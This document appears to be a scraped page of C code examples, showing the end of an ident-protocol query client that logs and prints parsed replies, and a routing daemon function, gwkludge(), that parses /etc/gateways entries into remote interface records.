	fflush(stderr);
	syslog(LOG_ERR, "Error: id_query(): host=%s, error=%m", gethost(&faddr.sin_addr));
	exit(1);
    }

    printf("Reading response data...\r\n");
    fflush(stdout);

    res = id_parse(id, NULL, &lport, &fport, &identifier, &opsys, &charset);

    switch (res) {
	default:
	    perror("id_parse()");
	    syslog(LOG_ERR, "Error: id_parse(): host=%s, error=%m", gethost(&faddr.sin_addr));
	    break;

	case -2:
	    syslog(LOG_ERR, "Error: id_parse(): host=%s, Parse Error: %s",
		   gethost(&faddr.sin_addr),
		   identifier ? identifier : "<no information available>");

	    if (identifier)
		printf("Parse error on reply:\n  \"%s\"\n", identifier);
	    else
		printf("Unidentifiable parse error on reply.\n");
	    break;

	case -3:
	    syslog(LOG_ERR, "Error: id_parse(): host=%s, Illegal reply type: %s",
		   gethost(&faddr.sin_addr), identifier);

	    printf("Parse error in reply: Illegal reply type: %s\n", identifier);
	    break;

	case 0:
	    syslog(LOG_ERR, "Error: id_parse(): host=%s, NotReady", gethost(&faddr.sin_addr));
	    puts("Not ready. This should not happen...\r");
	    break;

	case 2:
	    syslog(LOG_INFO, "Reply: Error: host=%s, error=%s",
		   gethost(&faddr.sin_addr), identifier);

	    printf("Error response is:\r\n");
	    printf("   Lport........ %d\r\n", lport);
	    printf("   Fport........ %d\r\n", fport);
	    printf("   Error........ %s\r\n", identifier);
	    break;

	case 1:
	    if (charset)
		syslog(LOG_INFO,
		       "Reply: Userid: host=%s, opsys=%s, charset=%s, userid=%s",
		       gethost(&faddr.sin_addr), opsys, charset, identifier);
	    else
		syslog(LOG_INFO, "Reply: Userid: host=%s, opsys=%s, userid=%s",
		       gethost(&faddr.sin_addr), opsys, identifier);

	    printf("Userid response is:\r\n");
	    printf("   Lport........ %d\r\n", lport);
	    printf("   Fport........ %d\r\n", fport);
	    printf("   Opsys........ %s\r\n", opsys);
	    printf("   Charset...... %s\r\n", charset ? charset : "<not specified>");
	    printf("   Identifier... %s\r\n", identifier);

	    if (id_query(id, ntohs(faddr.sin_port), ntohs(laddr.sin_port), 0) >= 0) {
		if (id_parse(id, NULL, &lport, &fport, &identifier, &opsys, &charset) == 1)
		    printf("   Multiquery... Enabled\r\n");
	    }
    }

    fflush(stdout);
    sleep(1);
    exit(0);
}
Exemplo n.º 18
0
/*
 * Read a list of gateways from /etc/gateways and add them to our tables.
 *
 * This file contains a list of "remote" gateways.  That is usually
 * a gateway which we cannot immediately determine if it is present or
 * not as we can do for those provided by directly connected hardware.
 *
 * If a gateway is marked "passive" in the file, then we assume it
 * does not understand RIP and assume it is always present.  Those
 * not marked passive are treated as if they were directly connected
 * and assumed to be broken if they do not send us advertisements.
 * All remote interfaces are added to our list, and those not marked
 * passive are sent routing updates.
 *
 * A passive interface can also be local, hardware interface exempt
 * from RIP.
 */
void
gwkludge(void)
{
#define	STR2(x)	#x
#define	STR(x)	STR2(x)

#define	NETHOST_LEN	4
#define	DNAME_LEN	MAXHOSTNAMELEN
#define	GNAME_LEN	MAXHOSTNAMELEN
#define	QUAL_LEN	8

	FILE *fp;
	char *p, *lptr;
	const char *cp;
	char lbuf[PARMS_MAXLINELEN], net_host[NETHOST_LEN + 1];
	char dname[MAXHOSTNAMELEN + 1];
	char gname[MAXHOSTNAMELEN + 1], qual[QUAL_LEN +1];
	struct interface *ifp;
	uint32_t dst, netmask, gate;
	int n;
	uint32_t lnum;
	struct stat sb;
	uint32_t state, metric;
	boolean_t default_dst;


	fp = fopen(PATH_GATEWAYS, "r");
	if (fp == NULL)
		return;

	if (0 > fstat(fileno(fp), &sb)) {
		msglog("fstat() failed: %s for  "PATH_GATEWAYS,
		    rip_strerror(errno));
		(void) fclose(fp);
		return;
	}

	for (lnum = 1; ; lnum++) {
		if (NULL == fgets(lbuf, sizeof (lbuf), fp))
			break;

		/* Eliminate the /n character at the end of the lbuf */
		if (strlen(lbuf) > 0)
			lbuf[strlen(lbuf) - 1] = '\0';

		/* Move lptr to the first non-space character */
		for (lptr = lbuf; isspace(*lptr); lptr++)
			;

		if (*lptr == '#' || *lptr == '\0')
			continue;

		/* Move p to the end of the line */
		p = lptr + strlen(lptr) - 1;

		/* Skip all trailing spaces except escaped space */
		while (p > lptr && (isspace(*p) && *(p-1) != '\\'))
			p--;

		/* truncate the line to remove trailing spaces */
		*++p = '\0';

		/* notice newfangled parameter lines */
		if (strncasecmp("net", lptr, 3) != 0 &&
		    strncasecmp("host", lptr, 4) != 0) {
			cp = parse_parms(lptr, (sb.st_uid == 0 &&
			    !(sb.st_mode&(S_IRWXG|S_IRWXO))));
			if (cp != 0)
				msglog("%s in line %u of "PATH_GATEWAYS,
				    cp, lnum);
			continue;
		}

		/*
		 * Processes lines of the follwoing format:
		 * net|host <name>[/mask] gateway <Gname> metric <value>
		 * passive|active|extern
		 */
		qual[0] = '\0';
		n = sscanf(lptr, "%"STR(NETHOST_LEN)"s %"STR(DNAME_LEN)
		    "[^ \t] gateway %"STR(GNAME_LEN)"[^ / \t] metric %u %"
		    STR(QUAL_LEN)"s\n", net_host, dname, gname, &metric, qual);
		if (n != 4 && n != 5) {
			msglog("bad "PATH_GATEWAYS" entry \"%s\"; %d values",
			    lptr, n);
			continue;
		}
		if (metric >= HOPCNT_INFINITY) {
			msglog("bad metric in "PATH_GATEWAYS" entry \"%s\"",
			    lptr);
			continue;
		}
		default_dst = _B_FALSE;
		if (strcasecmp(net_host, "host") == 0) {
			if (!gethost(dname, &dst)) {
				msglog("bad host \"%s\" in "PATH_GATEWAYS
				    " entry \"%s\"", dname, lptr);
				continue;
			}
			netmask = HOST_MASK;
		} else if (strcasecmp(net_host, "net") == 0) {
			if (!getnet(dname, &dst, &netmask)) {
				msglog("bad net \"%s\" in "PATH_GATEWAYS
				    " entry \"%s\"", dname, lptr);
				continue;
			}
			default_dst = (dst == RIP_DEFAULT);
			dst = htonl(dst); /* make network # into IP address */
		} else {
			msglog("bad \"%s\" in "PATH_GATEWAYS
			    " entry \"%s\"", net_host, lptr);
			continue;
		}

		if (!gethost(gname, &gate)) {
			msglog("bad gateway \"%s\" in "PATH_GATEWAYS
			    " entry \"%s\"", gname, lptr);
			continue;
		}

		if (strcasecmp(qual, "passive") == 0) {
			/*
			 * Passive entries are not placed in our tables,
			 * only the kernel's, so we don't copy all of the
			 * external routing information within a net.
			 * Internal machines should use the default
			 * route to a suitable gateway (like us).
			 */
			state = IS_REMOTE | IS_PASSIVE;
			if (metric == 0)
				metric = 1;

		} else if (strcasecmp(qual, "external") == 0) {
			/*
			 * External entries are handled by other means
			 * such as EGP, and are placed only in the daemon
			 * tables to prevent overriding them with something
			 * else.
			 */
			(void) strlcpy(qual, "external", sizeof (qual));
			state = IS_REMOTE | IS_PASSIVE | IS_EXTERNAL;
			if (metric == 0)
				metric = 1;

		} else if (strcasecmp(qual, "active") == 0 ||
		    qual[0] == '\0') {

			if (default_dst) {
				msglog("bad net \"%s\" in "PATH_GATEWAYS
				    " entry \"%s\"-- cannot be default",
				    dname, lptr);
				continue;
			}

			if (metric != 0) {
				/*
				 * Entries that are neither "passive" nor
				 * "external" are "remote" and must behave
				 * like physical interfaces.  If they are not
				 * heard from regularly, they are deleted.
				 */
				state = IS_REMOTE;
			} else {
				/*
				 * "remote" entries with a metric of 0
				 * are aliases for our own interfaces
				 */
				state = IS_REMOTE | IS_PASSIVE | IS_ALIAS;
			}

		} else {
			msglog("bad "PATH_GATEWAYS" entry \"%s\";"
			    " unknown type %s", lptr, qual);
			continue;
		}

		if (0 != (state & (IS_PASSIVE | IS_REMOTE)))
			state |= IS_NO_RDISC;
		if (state & IS_PASSIVE)
			state |= IS_NO_RIP;


		if (default_dst) {
			addroutefordefault(dst, gate, netmask, metric,
			    ((state & IS_EXTERNAL)? RTS_EXTERNAL : 0));
			continue;
		}

		ifp = check_dup(NULL, gate, dst, netmask, 0, _B_FALSE);
		if (ifp != NULL) {
			msglog("duplicate "PATH_GATEWAYS" entry \"%s\"", lptr);
			continue;
		}

		ifp = rtmalloc(sizeof (*ifp), "gwkludge()");
		(void) memset(ifp, 0, sizeof (*ifp));

		ifp->int_state = state;
		if (netmask == HOST_MASK)
			ifp->int_if_flags = IFF_POINTOPOINT | IFF_UP;
		else
			ifp->int_if_flags = IFF_UP;
		ifp->int_act_time = NEVER;
		ifp->int_addr = gate;
		ifp->int_dstaddr = dst;
		ifp->int_mask = netmask;
		ifp->int_ripv1_mask = netmask;
		ifp->int_std_mask = std_mask(gate);
		ifp->int_net = ntohl(dst);
		ifp->int_std_net = ifp->int_net & ifp->int_std_mask;
		ifp->int_std_addr = htonl(ifp->int_std_net);
		ifp->int_metric = metric;
		if (!(state & IS_EXTERNAL) &&
		    ifp->int_mask != ifp->int_std_mask)
			ifp->int_state |= IS_SUBNET;
		(void) snprintf(ifp->int_name, sizeof (ifp->int_name),
		    "remote(%s)", gname);

		if_link(ifp, 0);
	}

	(void) fclose(fp);

	/*
	 * After all of the parameter lines have been read,
	 * apply them to any remote interfaces.
	 */
	for (ifp = ifnet; NULL != ifp; ifp = ifp->int_next) {
		get_parms(ifp);

		tot_interfaces++;
		if (!IS_RIP_OFF(ifp->int_state))
			rip_interfaces++;
		if (!IS_RIP_OUT_OFF(ifp->int_state))
			ripout_interfaces++;

		trace_if("Add", ifp);
	}

}